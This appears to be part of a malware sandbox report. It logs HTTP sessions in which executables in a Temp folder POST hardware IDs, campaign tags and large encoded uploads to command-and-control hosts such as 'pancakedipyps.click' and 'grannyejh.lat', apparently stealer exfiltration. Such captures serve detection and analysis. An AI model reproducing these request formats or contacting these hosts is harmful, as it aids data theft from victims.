2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 76 df 6a 19 1d 41 b8 42 49 2c 02 01 b8 fc 10 00 fd 1b e1 ee 61 d7 51 fe bd 13 cc e6 89 ca b2 a7 09 28 f4 eb 8d a7 88 cf e0 00 cf 08 d0 64 30 cb 60 f6 d0 dc 63 87 c8 30 1b 88 f6 bc 3c 81 25 fa 13 6e 82 c5 88 47 7b 8f 02 96 bb 4d e8 88 20 08 d4 5b bf 2f e3 29 5f ac 43 80 04 e0 5d b0 05 c2 7a 31 c4 dc 91 62 69 e1 56 7a ce 83 f0 a7 eb 7e 61 83 82 be 87 97 6d e7 2b 7b 76 b9 49 fc cd 7a e2 75 76 ac 15 dd 6a 86 bf ff de b2 0f 78 47 f1 4f e4 a8 15 3a 89 00 37 25 bb 41 b0 41 8e 0a 90 13 67 9f 55 64 7c 11 ff 02 79 47 69 14 94 49 41 d3 9d 4b b2 b1 8c 9e 12 9c 6c ee 19 c4 f0 98 28 b5 6f 7f f7 4e 30 39 a2 84 63 9c 96 90 f8 53 9a fc 4e 94 7a 82 48 5c fe 29 d5 2d 02 84 a5 a3 6f 7d 85 e4 ae 17 b8 11 d0 06 7f 67 d4 51 d4 4e 2c 6a 24 02 0e 86 2f 05 4e 1f c9 e0 7b 12 66 8f Data Ascii: vjABI,aQ(d0`c0<%nG{M [/)_C]z1biVz~am+{vIzuvjxGO:7%AAgUd\|yGiIAKl(oN09cSNzH\)-o}gQN,j$/N{f
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: b3 78 e9 ca 73 41 06 9b f3 3e a7 fc 1a 55 44 40 78 3f 73 ed 25 21 ba e7 6c a2 94 eb dc 5b a7 7d ed e1 c5 3b ad e9 ab 37 db 0e 61 2e 3b 22 5d dc e5 44 cc 8b 95 d7 25 f8 38 46 ed 2d bc 6d aa 59 e7 f3 b3 8d 2f 56 96 ae 15 57 dd 77 d1 89 ac ba ba af 6a b5 db f1 fb 6e 12 8b e6 34 0e 0b de 87 6a 9e 04 bc d6 79 fe d6 87 d5 43 65 3a 4a 95 da 7d 69 a1 fc b8 bb 45 96 a2 fa 1f d2 e7 41 ff 7e 77 4b 66 d8 cf 57 d6 91 ab 4e cf 3b 87 73 24 22 57 5f dc f6 12 84 09 ad 3b 33 27 4f 7f 71 30 ed ff 5e 3a 9a 6a 2f f9 c9 ec fb c1 8c ec e1 38 e6 ec 95 48 53 46 8c ec c6 57 a1 96 e3 0b d1 0d 45 6b 0d 6f d7 1b d6 ef 4d 9c 70 7a 27 1c f2 d4 06 e6 5b ee 8e 41 45 a9 6a 48 56 33 71 1b 57 e3 0a f1 12 cf 40 4a a8 23 b4 b0 a7 e0 da c6 29 bf d1 27 55 39 be c1 7e 0e 0a b1 56 47 aa b7 ec c2 Data Ascii: xsA>UD@x?s%!l[};7a.;"]D%8F-mY/VWwjn4jyCe:J}iEA~wKfWN;s$"W_;3'Oq0^:j/8HSFWEkoMpz'[AEjHV3qW@J#)'U9~VG
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 7a e3 2e 00 bb 7a 09 57 d0 88 20 0f cb 2d 34 d7 84 d1 15 5e 6a 38 ba c6 54 1d 74 f4 6c 54 17 7c f6 59 9e 70 84 23 86 3e 9f 2d d2 78 07 8e 95 35 59 1b ad ee 50 95 27 63 3b f8 21 27 0e 34 35 96 ee e2 0c ac da 2c a7 0b 03 89 21 d8 6f 07 a5 bd 38 bf b0 e9 09 b8 e4 6d d8 da 00 53 f3 28 ae 88 6e 53 40 93 65 25 08 62 cb d3 fa 82 f9 ce 4d e5 c6 e2 6b 11 f3 73 3c e6 8c 88 e4 2d 1c 30 13 33 cb ec ae a1 8a 3f aa 3b 37 e7 e1 d9 80 35 c5 8d 2b 42 79 1a e8 f1 98 14 be d9 8a 23 8a f2 17 5c 22 36 ce 29 13 05 7e 0c 9c c6 b6 d5 5b 7b c1 8e dc bd 91 64 6d 93 2f 3f ae 28 68 2c 3e f7 84 92 6f 11 26 01 06 ad b4 3e 38 06 aa f1 b5 87 61 ac 86 1d 14 c8 c1 cc 81 fe b2 58 e3 14 ee 39 66 c6 55 f6 5d 53 42 0a 26 28 86 ce 04 84 f7 64 2f 7c ba a9 5a 47 28 bc 3c 82 0b f1 59 fd ca bb 75 Data Ascii: z.zW -4^j8TtlT\|Yp#>-x5YP'c;!'45,!o8mS(nS@e%bMks<-03?;75+By#\"6)~[{dm/?(h,>o&>8aX9fU]SB&(d/\|ZG(<Yu
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 42 83 38 10 9a 8d 18 4f fc 1b ca e3 f9 c0 c7 94 8e 70 ac e9 52 2e e4 1a 43 ad 12 a5 ee 12 2c aa e3 61 dc f2 c9 26 7c 0c 5f 3e 8e ea be 3e 7d d7 74 38 31 08 c9 d3 68 ce ba 79 4d a6 25 aa 30 21 08 71 92 31 e6 c9 2c 3a 9b d0 16 40 da f8 95 97 d6 a5 b9 8b d0 f8 db b2 f4 d3 50 d4 a2 da 6b 8e 18 67 df 52 9c 5c fa 3c 0d 11 9f 35 62 99 e7 e5 91 37 6a 5e 83 c2 e1 16 3c 7b 95 1a f3 3a b8 dd 92 44 02 21 84 03 c1 ce 4b 12 33 51 99 6f 99 3d 50 d1 8b 06 75 c4 a9 fe 8c d3 02 0b fb c4 d5 c5 63 7e 22 71 83 b2 f2 43 51 ab fd 07 3c df 61 4d 15 88 4a ae 91 f1 91 ef f8 86 2b 40 fa 92 6d 9a a4 50 4b d1 cb f6 2d 1e c0 0e e6 1b 74 8a 4d 86 b7 36 89 52 c9 33 6b 67 40 db 21 6c 2d 97 64 fc 6a 6c c4 63 71 2d 7a 31 15 a4 9f c4 d3 8c d1 4b 36 82 a6 87 f9 8e ef 45 2f b5 26 69 2a 2b f5 Data Ascii: B8OpR.C,a&\|_>>}t81hyM%0!q1,:@PkgR\<5b7j^<{:D!K3Qo=Puc~"qCQ<aMJ+@mPK-tM6R3kg@!l-djlcq-z1K6E/&i*+
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 05 24 c5 47 21 87 c2 7e 1e 32 9e ff e9 af 19 0b df 3b 4c 60 18 00 ba 9f 2a c3 09 49 16 82 bc 0c 3f 6f 77 89 09 3f 51 e3 cd b8 86 81 a5 ff 06 57 9f c4 a0 b1 75 f7 bb 18 8e 7a c1 42 c0 65 5f ac 16 ea 2d a1 b4 2b 5e 92 68 84 d8 b2 39 f3 3a f7 72 4e 2b a4 89 a4 be 52 8c d6 f0 21 2c 6b f0 37 1b 90 16 34 57 47 28 12 18 1a 20 b6 77 96 54 0d 19 8a e1 bb b7 ff bb 6f 7d b9 69 65 76 1b 4f 0d 8c 9a d0 1f 1a ac e0 d8 db e9 f4 93 80 b8 3f 76 e1 ca 30 7e 63 89 6f ad 82 01 3f 25 c5 12 bc 01 02 f5 ef 9e 33 a0 73 17 7e 7f f8 4f 39 d9 c7 75 ab 9a 64 04 d9 08 59 3e 8a fc dd 4f 92 8e 75 22 16 00 e2 6e e1 11 77 d1 25 3c 4f c9 70 99 8b db f0 b7 d2 74 52 88 39 01 c9 36 5c 0c 0d 7d 22 fc 1f 19 c5 da 1b 73 59 c2 2a 75 d8 ce 44 3d 36 c2 08 eb c0 4f d8 7e e6 bf 11 a7 18 6f 4b 3b 4c Data Ascii: $G!~2;L`I?ow?QWuzBe_-+^h9:rN+R!,k74WG( wTo}ievO?v0~co?%3s~O9udY>Ou"nw%<OptR96\}"sYuD=6O~oK;L
2024-12-20 01:11:37 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=krqmdbco5ftqvm7la7flg3d2v3; expires=Mon, 14 Apr 2025 18:58:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r5wqCWNKtSLDIqO82o6TWgoE6GbkUrezeGbJmHx%2FLZEEUeCfT6ntXuL8Q2sIAeQmeFv3%2BqOBzBfxzxtEqndc3lr%2Fa8zMX5Q9Z3ht3vyBxZMirq6oIdxu1g8BVCCA8QaL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc255cbf842cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1591&rtt_var=607&sent=327&recv=589&lost=0&retrans=0&sent_bytes=2830&recv_bytes=571041&delivery_rate=1787025&cwnd=163&unsent_bytes=0&cid=6feec68f2f41217b&ts=4055&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49900	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:34 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HRS0SGVR638 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15034 Host: pancakedipyps.click
2024-12-20 01:11:34 UTC	15034	OUT	Data Raw: 2d 2d 48 52 53 30 53 47 56 52 36 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 52 53 30 53 47 56 52 36 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 52 53 30 53 47 56 52 36 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 48 52 53 30 53 47 56 52 36 33 38 0d 0a 43 6f 6e 74 65 Data Ascii: --HRS0SGVR638Content-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--HRS0SGVR638Content-Disposition: form-data; name="pid"2--HRS0SGVR638Content-Disposition: form-data; name="lid"FATE99--test--HRS0SGVR638Conte
2024-12-20 01:11:35 UTC	1140	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kodvii1ppo1r473sv73acnn0mu; expires=Mon, 14 Apr 2025 18:58:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ulh0K9rpRF4QCZWZCjqjGOo%2BuhoKfRjq7Kz1rdzPhUEgKQb6hxoih%2F3ucDBEDAse9h5TEjGxrb%2BRK%2F4ELZmAuJpk2yer%2F%2Bsp81mGq9nxlgdSijKQJSMbpP04pg%2BVgcwEhl%2BABpqq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2570bb141fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1602&rtt_var=606&sent=13&recv=20&lost=0&retrans=0&sent_bytes=2848&recv_bytes=15970&delivery_rate=1796923&cwnd=181&unsent_bytes=0&cid=fedf2ce632a3c7e7&ts=1325&x=0"
2024-12-20 01:11:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49907	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:36 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K4UGW889O5IKSVW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20548 Host: pancakedipyps.click
2024-12-20 01:11:36 UTC	15331	OUT	Data Raw: 2d 2d 4b 34 55 47 57 38 38 39 4f 35 49 4b 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 34 55 47 57 38 38 39 4f 35 49 4b 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 34 55 47 57 38 38 39 4f 35 49 4b 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4b 34 55 47 57 38 Data Ascii: --K4UGW889O5IKSVWContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--K4UGW889O5IKSVWContent-Disposition: form-data; name="pid"3--K4UGW889O5IKSVWContent-Disposition: form-data; name="lid"FATE99--test--K4UGW8
2024-12-20 01:11:36 UTC	5217	OUT	Data Raw: da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 Data Ascii: h'F3Wun 4F([:7s~X`nO`i
2024-12-20 01:11:38 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d8haifldnlujqi7f1hnqis1a1v; expires=Mon, 14 Apr 2025 18:58:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N46RW%2BJMiEelBAMaWRwcVgxBjYQ5ThWsoEmCGgONvD16glwiS6j57UApMXVK56zNrkRQIUnNCcAcJ08oGY2OZOl%2FBc9la0pE56bTIXhB%2Fjf%2F9pChzXmoprQtKfqRiVDUO54xYWMD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc26929b672a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&min_rtt=1906&rtt_var=736&sent=18&recv=27&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21510&delivery_rate=1465863&cwnd=177&unsent_bytes=0&cid=3ffcc0d5d95ed1f6&ts=1319&x=0"
2024-12-20 01:11:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49916	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:39 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: grannyejh.lat
2024-12-20 01:11:39 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9E2CC02E2B8DF241AC8923850305D13E
2024-12-20 01:11:39 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8k6v0najqj8cu61g90slmuj57u; expires=Mon, 14 Apr 2025 18:58:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lks%2FA%2BenQdE0B9iWLEXiBZPneLI8FFgRHdd4JB%2B1kChbUEtKoIsZZF5pzkddM%2Fky7ba7ZgCQzNaiDW0CWbhvSGFG4o9Vi6NBD9%2FgA68%2F8O8W0uVDsmZUHxtJw41F%2Bxo2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2778875c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1640&rtt_var=621&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=985&delivery_rate=1751649&cwnd=228&unsent_bytes=0&cid=2238eb7e62e2b8bb&ts=801&x=0"
2024-12-20 01:11:39 UTC	130	IN	Data Raw: 37 63 0d 0a 36 64 70 34 61 6b 75 45 34 74 71 42 57 6a 5a 76 61 2b 61 6b 2b 35 70 78 31 41 61 32 74 76 79 39 38 69 48 59 78 39 37 32 53 55 32 79 6f 56 6f 66 61 62 37 41 73 76 55 75 52 6c 55 33 79 66 6a 55 71 30 6e 68 4b 49 53 48 79 5a 50 44 45 4f 76 70 37 38 41 56 59 6f 61 38 48 6a 5a 6b 34 49 65 38 72 7a 39 4f 43 6b 6e 4b 68 70 33 75 55 2b 34 32 6d 70 53 5a 6e 38 67 51 70 5a 6f 3d 0d 0a Data Ascii: 7c6dp4akuE4tqBWjZva+ak+5px1Aa2tvy98iHYx972SU2yoVofab7AsvUuRlU3yfjUq0nhKISHyZPDEOvp78AVYoa8HjZk4Ie8rz9OCknKhp3uU+42mpSZn8gQpZo=
2024-12-20 01:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49913	34.226.108.155	443	4324	C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:39 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 01:11:39 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:39 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 01:11:39 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49919	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:40 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5K424GR52U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: pancakedipyps.click
2024-12-20 01:11:40 UTC	1218	OUT	Data Raw: 2d 2d 35 4b 34 32 34 47 52 35 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 4b 34 32 34 47 52 35 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 4b 34 32 34 47 52 35 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 35 4b 34 32 34 47 52 35 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --5K424GR52UContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--5K424GR52UContent-Disposition: form-data; name="pid"1--5K424GR52UContent-Disposition: form-data; name="lid"FATE99--test--5K424GR52UContent-D
2024-12-20 01:11:40 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fbd9uo844mt22u03mkt4lgrmbq; expires=Mon, 14 Apr 2025 18:58:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YRh%2F6fH27bdC%2BcZezGUWlBezAB7BouzlaOBPX1wKWuuXWFpL2q8LZQmOohOS9FGjKZRgKGhpWXurEHhi5j3aN7BquDdjEF2qTjqTTbHXlCqIvyA6pm6zoULW9yZBIDqZGMUb5r43"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc27d782f72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1901&rtt_var=725&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2130&delivery_rate=1497435&cwnd=209&unsent_bytes=0&cid=3359fbbebe78e6f3&ts=658&x=0"
2024-12-20 01:11:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49927	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:42 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D5GIBD58H4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568494 Host: pancakedipyps.click
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 2d 2d 44 35 47 49 42 44 35 38 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 35 47 49 42 44 35 38 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 35 47 49 42 44 35 38 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 44 35 47 49 42 44 35 38 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --D5GIBD58H4Content-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--D5GIBD58H4Content-Disposition: form-data; name="pid"1--D5GIBD58H4Content-Disposition: form-data; name="lid"FATE99--test--D5GIBD58H4Content-D
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 6d 6f c1 52 bd 02 63 a4 9c a5 34 38 12 96 52 0e 20 80 d8 09 62 ec a1 14 09 a0 34 01 65 35 c2 99 27 5c 19 ae c2 a0 5d 15 0b f3 71 b0 6c 5b 74 78 a6 d8 fa 3e 8e c7 0e f0 d8 77 de 16 0d c2 2b 3a ba bb b1 7d a6 fc 56 ff ff 83 e8 d4 03 80 56 dc 01 e6 f8 40 82 29 25 9f 05 98 7d 7c 30 3f 55 e9 52 66 44 64 99 e5 62 6f 66 39 3f c4 fd 87 68 fc d8 9c c1 25 1a d9 77 da 40 8c 43 32 88 b7 70 48 cd 74 f2 e0 03 cd 8a ab 81 a6 e8 b8 1d cf 9c ca 20 05 35 98 b2 83 57 a2 49 f5 df fa 90 1e 91 f8 09 c1 ad dd 32 34 67 0e 14 3b 52 93 fc 7c 79 52 8d 3b a5 95 44 a9 b6 90 27 0f c1 72 bd 25 c0 c6 8d 3b 5d 52 8a 29 3a 87 99 37 c9 d8 6e 0e 70 55 64 35 38 8b 72 08 6b 8a b5 bd e6 a6 e3 eb 8e 4a 14 12 23 0b 49 74 56 35 67 72 57 80 ff 1e aa 36 3a 48 00 4c 7f 47 2f 6e 05 98 04 aa 25 b3 6f Data Ascii: moRc48R b4e5'\]ql[tx>w+:}VV@)%}\|0?URfDdbof9?h%w@C2pHt 5WI24g;R\|yR;D'r%;]R):7npUd58rkJ#ItV5grW6:HLG/n%o
